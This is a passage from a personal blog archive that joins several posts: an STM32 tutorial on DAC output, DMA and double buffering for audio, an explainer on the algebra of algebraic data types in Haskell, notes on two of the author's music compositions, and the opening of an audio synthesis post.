These functions are used to start/stop timers for basic timing and counting applications. Functions for more specialised modes (e.g. PWM) are available in stm32f4xx_hal_tim.h.

Digital-to-Analogue Converters (DACs) 🌉

Let's delve into our second topic today: digital-to-analogue converters (DACs).

Audio comes in several forms: sound waves, electrical voltages, and binary data.

^{Audio manifests in various forms. DACs transform our signal from the digital realm to the analogue world. (Source: Wikimedia Commons.)}

Since representations vastly differ, hence the need for interfaces to bridge the worlds. Between the digital and analogue realms, we have DACs and ADCs as mediators. Generally, DACs are used for output while ADCs are for input.

A Closer Look at DACs

Remember sampling? We took a continuous analogue signal and selected discrete points at regular intervals. An ADC is like a glorified sampler.

While ADCs take us from continuous to discrete, DACs (try to) take us from discrete to continuous. The shape of the resulting analogue waveform depends on the DAC implementation. Simple DACs will stagger the output at discrete levels. More complex DACs may interpolate between two discrete samples to “guess” the intermediate values. Some of these guesses will be off, but at least the signal is smoother.

^{On our STM board, signal reconstruction is staggered, like old platformer games—not that I've played any. At higher sampling rates, the staggered-ness is less apparent and the resulting curve is smoother.}

Example: Initialising the DAC

Let’s return to CubeMX to set up our DAC.

^{Enable DAC, and connect it to Timer 8 using the trigger setting. Our STM32F405 board supports two DAC output channels. This is useful if we want stereo audio output.}

^{Configure DMA settings for the DAC. We’ll cover DMA later.}

^{Enable interrupts for the DMA. These are needed to trigger DAC sends.}

Again, remember to generate code when finished.⁹ The MX_DAC_Init() function should contain the generated DAC setup code and should already be called in main().

Example: Using the DAC

On our STM32, DAC accepts samples quantised to 8 bits or 12 bits.¹⁰ We’ll go with superior resolution: 12 bits!

^{STM32 offers three different options to quantise and align DAC samples. We’ll only focus on the last option: 12-bit right aligned samples. (Source: RM0090 Reference Manual.⁸)}

For simplicity, let’s start with sending 1 DAC sample. This can be done like so:

// Start the DAC peripheral.
HAL_DAC_Start(&hdac, DAC_CHANNEL_1);

// Set the DAC value to 1024 on Channel 1, 12-bit right-aligned.
HAL_DAC_SetValue(&hdac, DAC_CHANNEL_1, DAC_ALIGN_12B_R, 1024);

This should output a voltage level of $\frac{1024}{2^{12}} = 25\%$ of the reference voltage $V_{\text{REF}}$. Once it starts, the DAC will continue sending that voltage out until we change the DAC value or call HAL_DAC_Stop().

We use DAC_CHANNEL_1 to select the first channel, and use DAC_ALIGN_12B_R to accept 12-bit right-aligned samples.

To fire a continuous stream of samples, we could use a loop and call HAL_DAC_SetValue() repeatedly. Let’s use this method to generate a simple square wave.

An aside. The default HAL_Delay() provided by STM will add 1ms to the delay time—well, at least in my version. I overrode it using a separate definition so that it sleeps the given number of ms.

void HAL_Delay(uint32_t ms)
{
    uint32_t start = HAL_GetTick();
    while ((HAL_GetTick() - start) < ms);
}

HAL_DAC_Start(&hdac, DAC_CHANNEL_1);

// Alternate between high (4095) and low (0).
uint8_t high  = 1;
while (1) {
    uint16_t sample = (high ? 4095 : 0); // max = 4095 = 2^12 - 1.
    high = !high;
    HAL_DAC_SetValue(&hdac, DAC_CHANNEL_1, DAC_ALIGN_12B_R, sample);

    // Delay for 5ms.
    HAL_Delay(5);
}

This generates a square wave with a period of 10ms, for a frequency of 100Hz.

^{Oscilloscope view of the signal. Oscilloscopes are very useful for debugging signals, especially periodic ones.}

But there are two issues with this looping method:

Using a while loop blocks the thread, meaning we block the processor from doing other things while outputting the sine wave. We may wish to poll for input or send out other forms of output (TFT/LCD, Bluetooth, etc.).
Since HAL_Delay() delays in milliseconds, it becomes impossible to generate complex waveforms at high frequencies, since that requires us to send samples at microsecond intervals.

In the next section, we’ll address these issues by combining DAC with timers and DMA.

Further Reading:

Deep Blue Embedded: STM32 DAC Tutorial

Direct Memory Access (DMA) 💉🧠

The final item on our agenda today! Direct Memory Access (DMA) may seem like three random words strung together, but it’s quite a powerful tool in the embedded programmer’s arsenal. How, you ask?

DMA enables data transfer without consuming processor resources. (Well, it consumes some resources, but mainly for setup.) This frees up the processor to do other things while DMA takes care of moving data. We could use this saved time to prepare the next set of buffers, render the GUI, etc.

DMA can be used to transfer data from memory-to-peripheral (e.g. DAC, UART TX, SPI TX), from peripheral-to-memory (e.g. ADC, UART RX), across peripherals, or across memory. In this post, we're concerned with one particular memory-to-peripheral transfer: DAC.

Further Reading:

Baeldung: How Do DMA Controllers Work?

Example: DMA with Single Buffering

We'll now try using DMA with a single buffer, see why this is problematic, and motivate the need for double buffering. If you’ve read this far, I presume you’ve followed the previous section by initialising DMA and generating code with CubeMX.

DMA introduces syncing issues. After preparing a second round of buffers, how do we know if the first round has already finished?

As with all processes which depend on a separate event, there are two approaches: polling and interrupts. In this context:

Polling: Block and wait until the first round is finished, then send.
Interrupts: Trigger an interrupt signal when transfer finishes, and start the next round inside the interrupt handler.

Which approach to choose depends on your application.

In our examples, we’ll poll to check if DMA is finished:

while (HAL_DAC_GetState(&hdac) != HAL_DAC_STATE_READY)
    ;

With DMA, we’ll first need to buffer an array of samples. Our loop will run like this:

Buffer samples.
Wait for DMA to be ready.
Start the DMA.

Do you notice a flaw in this approach? After starting DMA, we start buffering samples on the next iteration. We risk overwriting the buffer while it’s being sent.

Let’s try to implement it anyway and play a simple 440Hz sine wave.

#include <math.h>  // M_PI, sin

#define SAMPLE_RATE 42000
#define BUFFER_SIZE 1024
#define FREQUENCY   440

uint16_t buffer[BUFFER_SIZE];
uint32_t t = 0; // Time (in samples).

// Start the timer.
HAL_TIM_Base_Start(&htim8);

while (1) {
    // Prep the buffer.
    for (int i = 0; i < BUFFER_SIZE; i++, t++) {
        float val = sin(2 * M_PI * FREQUENCY * t / SAMPLE_RATE);
        buffer[i] = 2047 * val + 2047; // Scale the value from [-1, 1] to [0, 2^12-1).
    }

    // Wait for DAC to be ready, so that the buffer can be modified on the next iteration.
    while (HAL_DAC_GetState(&hdac) != HAL_DAC_STATE_READY)
        ;

    // Start the DMA.
    HAL_DAC_Start_DMA(&hdac, DAC_CHANNEL_1, (uint32_t*)buffer, BUFFER_SIZE, DAC_ALIGN_12B_R);
}

The results? As expected, pesky little artefacts invade our signal since our buffer is updated during DMA transfer. This may result in unpleasant clicks from our speaker.

^{Prep, wait, start, repeat. Artefacts distort the signal from time to time.}

But what if we prep, then start, then wait? This way, the buffer won't be overwritten; but this causes the signal to stall while prepping.¹¹

^{Prep, start, wait, repeat. The signal stalls (shown by horizontal lines) because the DAC isn’t updated while buffering.}

To resolve these issues, we'll unleash the final weapon in our arsenal.

Example: DMA with Double Buffering

We saw previously how a single buffer spectacularly fails to deal with "concurrent" buffering. With double buffering, we introduce an additional buffer. While one buffer is being displayed/streamed, the other buffer is updated. This ensures our audio can be delivered in one continuous stream.

In code, we’ll add another buffer by declaring uint16_t[2][BUFFER_SIZE] instead of uint16_t[BUFFER_SIZE]. We’ll also declare a variable curr (0 or 1) to index which buffer is currently available.

uint16_t buffers[2][BUFFER_SIZE]; // New: add a second buffer.
uint8_t curr = 0;                 // Index of current buffer.
uint32_t t   = 0;

// Start the timer.
HAL_TIM_Base_Start(&htim8);

while (1) {
    uint16_t* buffer = buffers[curr]; // Get the buffer being written.

    // --snip-- Same as before...
    // Prep the buffer.
    // Wait for DAC to be ready.
    // Start the DMA.
    // --snip--

    // Point to the other buffer, so that we
    // prepare it while the previous one
    // is being sent.
    curr = !curr;
}

Now our 440Hz sine wave is unblemished!

^{Waveform of a pure 440Hz sine tone.}

Double buffering is also used for video and displays, where each buffer stores a 2D frame instead of a 1D signal.

Example: Playing Multiple Notes with DMA and Double Buffering 🎶

With some minor changes, we can make our device generate audio for multiple notes. Let’s go ahead and play an A major chord!

// Prep the buffer.
uint16_t* buffer = buffers[curr];
for (int i = 0; i < BUFFER_SIZE; i++, t++) {
    // Compute value for each note.
    float a = sin(2 * M_PI * 440 * t / SAMPLE_RATE);
    float cs = sin(2 * M_PI * 554.37 * t / SAMPLE_RATE);
    float e = sin(2 * M_PI * 659.25 * t / SAMPLE_RATE);

    float val = (a + cs + e) / 3;  // Sum and normalise to [-1, 1].
    buffer[i] = 2047 * val + 2047; // Map [-1, 1] to [0, 2^12-1).
}

If you flash the above code and feed the output to an oscilloscope, you may find it doesn’t really work. Our signal stalls, for similar reasons as before.

Even with DMA, stalls may occur. This is usually a sign that buffering (and other processes) consume too much time. In this case, breaks in the data occur—the stream is no longer continuous, because the buffer doesn't finish prepping on time.

Optimisations 🏎

So our code is slow. How do we speed it up?

Here are a few common tricks:

Precompute constants.

Instead of computing 2 * M_PI * FREQUENCY / SAMPLE_RATE every iteration, we can precompute it before the loop, saving many arithmetic instructions.

// Precompute a factor of the 440Hz signal.
float two_pi_f_over_sr = 2 * M_PI * FREQUENCY / SAMPLE_RATE;

while (1) {
    // Prep the buffer.
    uint16_t* buffer = buffers[curr];
    for (int i = 0; i < BUFFER_SIZE; i++, t++) {
        // Use the precomputed value...
        buffer[i] = 2047 * sin(two_pi_f_over_sr * t) + 2047;
    }

    // ...
}

Wavetable synthesis.

Math functions such as sin can be computationally expensive, especially when used a lot. By caching the waveform in a lookup table, we can speed up the process of computing samples.
Increase the buffer size.

By increasing the buffer size, we spend less overhead switching between tasks.
Decrease the sample rate.

If all else fails, we can decrease the load by compromising the sample rate, say from 42000Hz to 21000Hz. With a buffer size of 1024, that means we’ve gone from a constraint of $\frac{1,024}{42,000} = 24.4$ms to $\frac{1,024}{21,000} = 48.8$ms per buffer.

To avoid complicating things, I lowered the sample rate to 21000Hz. This means changing the auto-reload register to 7999, so that our timer frequency is $$\frac{168,000,000}{(0 + 1) \times (7,999 + 1)} = 21,\!000\text{Hz.}$$

TIM8->ARR = 7999;

After all this hassle, we get a beautiful chord.

^{A nifty waveform of an A major chord (440Hz + 554.37Hz + 659.25Hz).}

Recap 🔁

By utilising both hardware and software, we reap the benefits of parallel processing while implementing an efficient, robust audio application. On the hardware side, we explored:

Timers, which are an useful and inexpensive way to trigger actions at regular intervals.
DACs, which enable us to communicate with a speaker by translating digital samples into analogue signals.
DMA, which enables data transfer with minimal processor resources. This way, we can process other things while streaming audio.

In software, we explored:

Double buffering, a software technique for buffering data to achieve continuous or faster output.
Various optimisations, which enable us to squeeze more processing into our tiny board.

When combined, we save processing resources, which can possibly be spent on additional features.

In case you want to go further, here are some other things to explore:

Generating stereo audio. We’ve generated audio for Channel 1. What about stereo audio for Channel 2? If you’re using reverb effects and wish for a fuller stereo sound, you’ll need an extra pair of buffers (and more processing!).
Streaming via UART (+ DMA).
Using SIMD instructions to buffer two (or more?) samples at a time.
- Other assembly-level bit-hacking tricks.
RTOS for multitasking.
Other boards or hardware with specialised audio features.

Hope you enjoyed this series of posts! Leave a comment if you like to see more or have any feedback!

Full Code

The complete code for DMA with double buffering has been uploaded as a GitHub Gist. It hasn't been fully optimised yet. I'll leave that as an exercise for the reader.

Footnotes

Each of these components (especially hardware) deserve their own post to be properly introduced; but for the sake of keeping this post short, I’ll only introduce them briefly and link to other resources for further perusal. ↩︎
Timer/Counter in Embedded System ↩︎ ↩︎
How do microcontroller timers work? – A decent article on timers. Diagrams are in French though. ↩︎
The extent of timer events depends on hardware support. Timers can do a lot on ST boards. For other brands, you may need to check the datasheet or reference manual. ↩︎
Some other timers have 32-bit ARR registers. But eh, we can achieve a lot with just 16-bit ones. ↩︎
What is the difference between pairs of prescaler/auto-reload, such as PSC = 0, ARR = 3999 vs. PSC = 1, ARR = 1999?
Indeed, given a fixed clock frequency, the same timer frequency will be generated (since the divisor is the same: 2000). However, the difference lies in the counter. Recall each step of auto-reload equals a step of the counter.
The counter is used in calculating the on-time (or duty cycle). By using a higher ARR, we gain a higher resolution in the counter, which allows us to say, control servos with finer granularity. Thus, a lower prescaler is often preferred.
Of course, different vendors may implement timers differently or have different features attached to timer peripherals. Other considerations may come into play, depending on the vendor and your application. ↩︎
We chose Timer 8 (with Channel 4) because it's an advanced control timer (a beefy boi!), capable of a lot, though probably overkill for our simple examples. The timer and channel you use depends on your STM board and model. If you’re following along with this post, make sure to choose a timer which has DMA generation. When in doubt, refer to the reference manual.⁸ ↩︎
STM's Official Reference Manual for F405/F415, F407/F417, F427/F437, F429/F439 boards. Definitely something to refer to if you’re working on one of those boards. ↩︎ ↩︎
In CubeMX, you can generate code by choosing the Project > Generate Code menu option. When coding, keep in mind that only code between USER CODE BEGIN and USER CODE END comments will be preserved by ST's code generator. ↩︎ ↩︎
There are pros to using 8-bit or 12-bit DAC. 8-bit conversion is faster, whereas 12-bit offers higher resolution. To slightly complicate things, the 12-bit DAC option on our STM32 can be aligned either left or right. That is, we can choose whether our data takes up the first 12 bits or last 12 bits on a 16-bit (2-byte) space. Alignment exists to save you a shift operation, which depends on your application. ↩︎
Not sure if stall is the right word. Let me know if there's a better one. ↩︎

The Mathematics of Types

2023-04-24T00:00:00Z

Algebraic data types (ADTs) encompass a wide range of types commonly used in our day-to-day tasks. Over the past years, they’ve grown in popularity with the rise of modern languages such as Rust and Scala. They allow us to effectively model data, write readable code, and catch bugs at compile time. But rarely do we consider the aesthetics behind such constructs.

This post is for the curious programmer. Today, we’ll be looking at the mathematics behind ADTs. In doing so, we also gain an appreciation for their utility and aesthetics. I’ll be mainly using Haskell code blocks in this post, because types are very straightforward to express in this language. If you’re unfamiliar with Haskell, fear not!—the concepts addressed below are transferable to most programming languages.

Motivation for ADTs

We are interested in combining types, but that alone isn’t saying much. First, we want to combine types meaningfully in order to communicate ideas through those types. This notion lies with expressibility and the art of programming. Code is, after all, a medium between programmers.

Second, we want to combine types concisely; our types shouldn’t contain redundant, ambiguous information. Removing redundancy implies removing duplicate or invalid states, leading to better maintainability and fewer bugs.

ADTs offers us two ways to combine types: product types and sum types.

Product Types

If you’ve used structs, tuples, or record types, then you already have a sense of what product types are. Product types combine types together as one. A pizza is like a product type, combining crust, cheese, and toppings. When you bite into a pizza, you enjoy the sensation of all three together.

Here are some product types in Haskell:

-- Haskell Tuple
-- -------------
-- Haskell separates types from data.
tuple1 :: (Bool, Bool) -- Type
tuple1 = (True, False) -- Data

-- Here's another tuple:
tuple2 :: (Int, String)
tuple2 = (42, "Hello world!")

-- We can have a product type of product types.
tuple3 :: ((Int, Double), (Bool, Char))
tuple3 = ((1, 3.14), (True, 'a'))

-- Although semantically, it's the same as...
tuple4 :: (Int, Double, Bool, Char)
tuple4 = (1, 3.14, True, 'a')

-- Haskell Data Constructor
-- ------------------------
-- We define a new type: RectangleType.
-- We also define Rect to be a data constructor.
-- The data constructor takes 4 integer arguments.
data RectangleType = Rect Int Int Int Int

-- We can create a RectangleType by passing concrete 
-- values to the Rect data constructor.
rect :: RectangleType
rect = Rect 0 0 10 5

-- Haskell Record
-- --------------
-- Let's define a record!
-- With Haskell record syntax, we can give names to fields.
-- Here, `Person` is both the type and data constructor.
data Person = Person { name :: String, age :: Int }

-- Let's construct a Person type! A person has a name AND an age.
record :: Person
record = Person { name="Peter Parker", age=16 }

In the final example above, we wrote a product type representing a Person. All people have name and age properties, so it makes sense to combine them in coexistence.

Sum Types

Sum types are another way to combine types. In contrast to product types, sum types combine types exclusively. The choice of crust is like a sum type. Should the crust be thin, thick, or stuffed with cheese? We can only choose one option.

Sum types in their simplest form are just enums. In C/C++, we might define them like so:

enum Bool {
	False,
	True,
};

In Haskell, a Bool can be defined like so:

data Bool = False | True

Notice the vertical bar |. This means a value with type Bool can either be False or True. It can’t be both at the same time.

Sum types also allow us to represent more complex data structures. Suppose we want to model students and teachers in a school. The traditional object-oriented method would be to declare a base Member class, then derive Student and Teacher classes.

// C++ Object-Oriented Approach
using Course = std::string; // For simplicity, a course is simply a string.

class Member {};

class Student : public Member {
public:
    // A student...
    int year;                    // ...belongs to a year.
    std::vector<Course> courses; // ...takes some courses.
};

class Teacher : public Member {
public:
	std::vector<Course> teaches; // A teacher teaches some courses.
};

In functional programming, we could express a Member as a sum type of Student or Teacher.

type Course = String

data Member = Student { year :: Int, courses :: [Course] }
			| Teacher { teaches :: [Course] }

Here, Student and Teacher are two branches of the Member type, and a Member can only be either a Student or a Teacher. We can also add more branches to the sum type, such as Administrator, Visitor, and so on.¹

There are pros and cons for choosing between the object-oriented approach and functional approach, but that’s a topic for another day.

Sum types also enable us to express errors in a type-safe way. We can create a Maybe type that can be either Nothing or Just with the former indicating no result, and the latter indicating some result. (More on this later!)

data Maybe a = Nothing | Just a

This type allows us to handle errors in a more structured way and avoid a lot of if-else statements (with the help of monads!).

To sum up, sum types enable us to express complex data structures, while avoiding redundancy and making our code more maintainable and type-safe.

We call Just a data constructor. This means we can construct concrete data by applying values to Just, as if it were a function. For example, Just 1, Just "in", and Just (Just 42) are all concrete data. The same applies to False, True, and Nothing, but those don’t take arguments.

Types in the Wild

Let’s familiarise ourselves with ADTs and look at a few use cases.

Product Types in the Wild

In most languages, product types are useful when passing/returning data containing multiple values. For instance, we can define a divMod function which returns the quotient and the remainder of two numbers.

ghci> divMod x y = (x `div` y, x `mod` y)
ghci> divMod 5 2
(2,1)
ghci> divMod 42 2
(21,0)

In the Haskell REPL, lines starting with ghci> indicate REPL input. Other lines are REPL output.

Sum Types in the Wild

There are two common sum types in the wild: Maybe (introduced previously) and Either. These are typically used to express errors: either an error occurred or a valid result is returned.

Maybe and Either have other names as well. In Rust, they’re called Option and Result. In Scala, it’s Option (not the same one as Rust!) and Either. In C++, it’s optional and expected². This list isn't exhaustive, but it goes to show how ubiquitous sum types are—though not as widespread as product types, for historic reasons.

Again, Maybe is defined as a sum type like so:

data Maybe a = Nothing | Just a

Here, a is a type parameter, much like the type parameters in C++ templates and other generic programming languages. We can substitute types to get a concrete type. For example, we can have Maybe Int, Maybe Bool, Maybe String, or—for the absolute masochists—Maybe (Maybe (Maybe Int))!

Maybe is commonly used to denote a computation that might fail. For instance, we can write a safe integer divide function which returns Nothing when the divisor is 0 (indicating an error, since we can't divide) and returning the wrapped quotient otherwise.

ghci> safeDiv x y = if x == 0 then Nothing else Just (x `div` y)
ghci> safeDiv 4 2
Just 2
ghci> safeDiv 7 2
Just 3
ghci> safeDiv 7 0
Nothing

Maybe is used in other places where the error is obvious, such as in map lookup (where Nothing implies non-existence).

Either is similar, but is defined over two type parameters.

data Either a b = Left a | Right b

The type parameters a and b can be anything; but commonly, a is used to describe an error (such as a String or an enum) while b is some successful computation.

In the wild, Either is used in Haskell parsing libraries to return parse results. Sometimes, the parse is successful and returns the generated tree or data (Right). Other times, the parse fails and the library returns information of where it failed (Left). For example, maybe it failed to parse an unexpected : at line 5, column 42 of something.json.

The Algebra of Types

The astute may notice that product types combine types in an “and” fashion, whereas sum types do so in an “or” fashion. One of the alluring aspects of ADTs is that we can construct an algebra over them, allowing us to rigorously work with types.

In the following parts, we'll explore how types relate to math and apply algebraic principles similar to those from elementary!

A word on notation.

Monospaced letters ($\texttt{a}$) denote types/code,
$|\texttt{a}|$ denotes the size of set a,
$\equiv$ denotes an isomorphism between types (as in $\texttt{Int} \equiv \texttt{Int}$), and
$=$ is reserved for good ol' algebraic equivalence.

Types as Sets

Let’s start by treating types as sets of values.³ For instance, a Bool can be thought of as a set of two values: ${\texttt{True}, \texttt{False}}$, so $|\texttt{Bool}| = 2$.

What about a $(\texttt{Bool}, \texttt{Bool})$? Each Bool can be either True or False; thus their combination yields $|(\texttt{Bool}, \texttt{Bool})| = 2 \times 2 = 4$ values. Generalising this,

$$ |\texttt{(a, b)}| = |\texttt{a}| \times |\texttt{b}| $$

See how it got the name “product type”?

What about sum types? How many values can Maybe Bool take? In the Nothing branch, we have one value: Nothing. In the Just branch, we have two: Just True and Just False. Altogether, $|\texttt{Maybe Bool}| = 3$. In general,

$$ \begin{align*} |\texttt{Maybe a}| &= |\texttt{a}| + 1 \\ |\texttt{Either a b}| &= |\texttt{a}| + |\texttt{b}| \end{align*} $$

Indeed, product types resemble multiplication over spaces whereas sum types suggest addition over spaces.

Isomorphism of Types

The above-mentioned mathematical representation may come in handy when refactoring/optimising code.

Suppose we want a type with two “bins”: bin A and bin B. Items can belong to either bin, but not both… How can we represent this as a type?

One way is to use Either a a. We let Left x denote items in bin A, and Right x denote those in bin B.

Is there another way to represent the problem? Yes: (Bool, a). We can use the Bool to flag whether the corresponding item is in bin A. Thus, (True, x) and (False, x) are used to denote items in bin A and B respectively.

In fact, we’ve just constructed an isomorphism between types!

The beauty is in the algebra. The equivalence above can be succinctly (and abstractly!) written as $\texttt{Either a a} {} \equiv \texttt{(Bool, a)}$—or more algebraically, $a + a = 2a$.

More formally, an isomorphism exists between types a and b if we can convert between the two types without loss of information. The most straightforward approach is to define two functions: toRHS :: a -> b and toLHS :: b -> a. Alternatively with the algebra presented above, we can easily prove isomorphisms by checking the algebraic equivalence of two types!

With the toy example presented above, our converters would be

toRHS :: Either a a -> (Bool, a)
toRHS (Left x) = (True, x)
toRHS (Right x) = (False, x)

toLHS :: (Bool, a) -> Either a a
toLHS (True, x) = Left x
toLHS (False, x) = Right x

Notice how information is preserved, i.e. $\texttt{toLHS }(\texttt{toRHS } x) = x,\ \forall x \in \texttt{Either a a}$ and $\texttt{toRHS } (\texttt{toLHS }y) = y, \ \forall y \in \texttt{(Bool, a)}$.

In the same vein, the following types are also equivalent:

$$\texttt{Maybe (Maybe a)} \equiv \texttt{Either Bool a}$$

$$\texttt{Maybe} \texttt{(Either (a, a) (Bool, a))} \equiv \texttt{(Maybe a, Maybe a)}$$

Unit Values in the Algebra of Types

But wait, there’s more! There are also null and unit types which behave just like 0 and 1 in the integers, with the usual axioms.

Meet Void and (), two very special types. Void resembles the null set: it has no concrete values. So how is this type used? Well, without any concrete values, its primary utility is in the type level. For example, in the Megaparsec parsing library, Void is used in Parsec Void u a to indicate a default option.

() is the 0-tuple, the singleton set containing () itself. (To clarify, “()” is both a type and a value, depending on the context.)

C’s void should not be confused with Haskell’s Void. The former is more like (), containing only one possible result.

With these funky creatures, we can write isomorphisms such as:

$\texttt{Either Void a} \equiv \texttt{a}$

Corresponds to $0 + a = a$.

Bijection:

toRHS :: Either Void a -> a
toRHS (Right x) = x
-- toRHS (Left x) = undefined -- Implicit.

toLHS :: a -> Either Void a
toLHS x = Right x

$\texttt{((), a)} \equiv \texttt{a}$

Corresponds to $1 \times a = a$.

Bijection:

toRHS :: ((), a) -> a
toRHS ((), x) = x

toLHS :: a -> ((), a)
toLHS x = ((), x)

You may verify that the bijections⁴ hold, i.e. show that $\texttt{toLHS }(\texttt{toRHS } x) = x$ and $\texttt{toRHS }(\texttt{toLHS } y) = y$ for any $x$ and $y$.

As for other algebraic constructions, I shall kindly leave them as an exercise for the reader. 🙃 Try coming up with examples of types and bijections for the following:

Associativity: $(a + b) + c = a + (b + c)$, $(ab)c = a(bc)$
Commutativity: $a + b = b + a$, $ab = ba$
Distribution: $a(b + c) = ab + ac$
Null: $0a = 0$

Enums as Sum Types

An aside regarding sum types and enums.

Early on I mentioned sum types as a way to combine types. Then I suggested enums as an example of sum types… But we usually think of enums as combining values, not types. What’s going on here?

Well, one way to view enums is to treat each value as if they take a unit type () parameter. That is,

data Bool = False () | True ()

(N.B. $\texttt{Bool} \equiv \texttt{Either () ()}$.)

Here, False is a data constructor while () is a type. In this version of Bool, we’re basically combining a bunch of unit types () using different tags.

In this regard, we can think of enums as sugar-coated sum types; and conversely, sum types can be thought of as glorified enums. We’ve seen how enums and sum types can be defined similarly in Haskell. The same goes for Rust and Scala 3, where the enum keyword is not only used to define enums, but also sum types (and in general, ADTs).

Conclusion and Recap

Is that all?

Au contraire.

Algebraic data types may be sufficient for most use cases, but we’ve only scratched the surface. There are more quirky animals out there! Generalised ADTs. Union/disjunctive types. Conjunctive/intersection types. Pi types.

But to recap:

Algebraic data types (ADTs) consist of product types and sum types.
By leveraging ADTs, we can write code that is meaningful and concise, modelling the real world more closely.
There are two main forms of ADTs. Both enable us to combine smaller types into larger types.
- Product types can be thought of as a multiplication on types.
- Similarly, sum types are like a summation on types.
ADTs follow mathematical laws similar to other structures (e.g. the integers), but without the inverse property. These mathematical laws allow us to rigorously reason with types.
- We can express ADTs through a mathematical algebra such as $|\texttt{(a, b)}| = a \times b$ and $|\texttt{Either a b}| = a + b$.
- Types with an equivalent algebraic representation are isomorphic. This may prove useful in refactoring and optimising.
- The algebra of types follows algebraic laws similar to the laws for integers and other algebras. There are laws on identity (e.g. $0 + a = a$), associativity, distribution, etc.
Thus, in addition to their utilitarian use, types also exhibit an aesthetic beauty.

References/Further Reading

The Algebra of Algebraic Data Types: Part 1 by Chris Taylor
Type Isomorphism by Kwang Yul Seo
The Algebra of Algebraic Data Types: Part 2 by Chris Taylor (dives into recursive ADTs!)

Footnotes

We could do the same in C++ by using Boost variant, using C++17’s std::variant, or using a tagged union (which is just a union with a uint8_t/int tag). ↩︎
std::optional was introduced in C++17, and std::expected is expected (haha) to arrive with C++23. You can still pull these types from various libraries though. ↩︎
I should mention—there are significant differences between types and sets. But please bear with me, for the sake of this post. ._. ↩︎
A bijection is also known as a one-to-one correspondence or invertible function. Each input must map to one (and only one) unique output.
Functions such as $x \mapsto \sqrt{x}$ and $x \mapsto \lfloor x \rfloor$ are not bijections since multiple inputs may map to the same output—we can't recover a unique input given an output. This is the whole idea of being invertible. ↩︎

Midnight Enigma

2023-04-13T00:00:00Z

Midnight Enigma is composed for a musical challenge constraining pitches within two octaves, with the bonus theme of game music.¹ Pitch and range constraints aren't that unusual. When writing for any instrument or voice, it's important to keep in mind its range and register. You probably don't want to see (let alone hear) a bass singer singing an A5 note.

Though being limited to two octaves bordered on draconian, I made do. I had to cut some corners melodically, since imitation was more difficult and flamboyant melodies couldn't be expressed. Nonetheless, I focused on exploring other aspects of music: the rhythm, extended chords, microtones, and whatnot. I also decided to have fun with the Phrygian mode a bit more.² I started playing with this mode in Remorse (without knowing about it 🫢), and still find it very interesting to use. (Perhaps this will become the topic of a blog post?)

I decided to go with a band/minimalist/electronic fusion with a mix of drums, Reichian phasing, and electronic-inspired delay. I took (mental) inspiration from open world games such as Minecraft, where a huge number of possibilities lie at your fingertips and consequences aren't drastic.

A majority of the piece was composed during midnight hours in the days before the challenge deadline, hence the title. (Yes, I messed up my sleep schedule then.)

On another note, this was my first time using MIDI vocals. They sound better than I expected; might play with them in future pieces. :)

Enjoy~

Footnotes

The octaves I chose were G2-G3 + G4-G5. Pitches can be anywhere inside these ranges, but not between (G3-G4) or outside. ↩︎
The Phrygian mode is characterised by the flat-2nd. As Midnight Enigma is primarily in C minor, the flat-2nd would be the D-flat. ↩︎

Déjà Vu – Cycle of Power

2023-04-09T00:00:00Z

And in the days of those kings the God of heaven will set up a kingdom that shall never be destroyed, nor shall the kingdom be left to another people. It shall break in pieces all these kingdoms and bring them to an end, and it shall stand forever…

— Daniel 2:44 (NIV)

Organisations, institutions, nations, governments, civilisations. Whether big or small, strong or weak, aggressive or meek, each eventually fades and another rises to take its place. Though on the outside, they seem different; in the inside, they are underscored by a common denominator: the human nature of selfishness and stupidity (or put bluntly, sin).

Does this mean we should dissolve into anarchy? Well, no. Organisation, with enough trust, is better than disorganisation. Proper care should be taken to manage resources, especially on a nation-wide level.

What has been is what will be, and what has been done is what will be done, and there is nothing new under the sun.

— Ecclesiastes 1:9 (NIV)

"Gibberish, ChatGPT is new under the sun!" But if we take into account all history and the timeline of events, there’s really not much new. Did you know before computers were invented, a computer used to be a job title? It wouldn’t be surprising if, later on, an engineer or artist refers to a computer program.

My point lies in the cycle of power and time. Developments, alliances, wars, laws, technologies, and disasters become mere motifs in the grand scheme of things. Standards of living, science, technology, and health have all improved over the past millennia, but nations still rage like a ceaseless tempest. Conflicts arise, almost inevitably, as if they were meant to be. Such is human nature.

Déjà Vu – Cycle of Power is my impression of all the above. The musical ideas in this piece were not without inspiration. Some notable inspirations were Fauré's melodic tune in Libera Me, Holst's militaristic rhythm in Mars, and John Adams’ minimalist works.

This piece is scored for orchestra, with repeated sections to capture the essence of a cycle. Throughout this timeless journey, civilisations rise and fall. They come in different shapes and sizes, from the grand to the subdued, from the pacifists to the militarists. A fleeting escape is made into a lucid dreamlike passage where flourishing arpeggios elevate us from reality; yet order lurks in the background. The piece culminates in an oddly familiar setting as history seemingly repeats itself.

Each motif and section comes to an end, their place taken by a new motif—and ultimately silence. But there’s a motif which doesn’t end—which can’t be captured on sheets of music.¹

Although the world we live in may seem like an inescapable matrix², each of us has the opportunity to learn, to teach, to experience different perspectives, and to share the hope of something unseen—something more.

On this Easter Sunday (and well… all Easter Sundays), we commemorate the resurrection of Jesus Christ, remembering the glorious occasion of His power—and victory—over death, sin, and evil.

Footnotes

How do you apply dimension reduction on the infinite without discarding an ounce of its beauty? Good luck trying to use PCA or whatever dimensionality reduction algorithm is popular at the time of reading. I mean, I suppose it's still possible to focus on some aspects and reduce accordingly. Maybe for a later time. ↩︎
Alluding to the movie. Go watch it if you haven’t already. _{cough - You know who you are.} ↩︎

Digital Audio Synthesis for Dummies: Part 2

2023-03-09T00:00:00Z

This is the second post in a series of posts on Digital Audio Processing. Similar to the previous post, this post stems from a lil’ MIDI keyboard project I worked on last semester and is an attempt to share the knowledge I've gained with others. This post will dive into the wonderful world of audio synthesis and introduce two important synthesis techniques: additive synthesis and wavetable synthesis.

Audio Synthesis 🎶

Where do audio signals come from? Our signal might be…

recorded. Sound waves are picked up by special hardware (e.g. a microphone) and translated to a digital signal through an ADC.
loaded from a file. There are many audio formats out there, but the most common ones are .wav and .mp3. The .wav format is simple: just store the samples as-is. Other formats compress audio to achieve smaller file sizes (which in turn, means faster upload/download speeds).
synthesised. We generate audio out of thin air (or rather, code and electronics).

I’ll mainly focus on synthesis. We’ll start by finding out how to generate a single tone, then learn how to generate multiple tones simultaneously.

Buffering 📦

A naive approach to generate audio might be:

Process one sample
Feed it to the DAC/speaker

But there are several issues with this: function call overhead may impact performance, and we have little room left to do other things. For the sound to play smoothly while sampling at 44100Hz, each sample needs to be delivered within $\frac{1}{44100}$ s = $22.6$ µs.

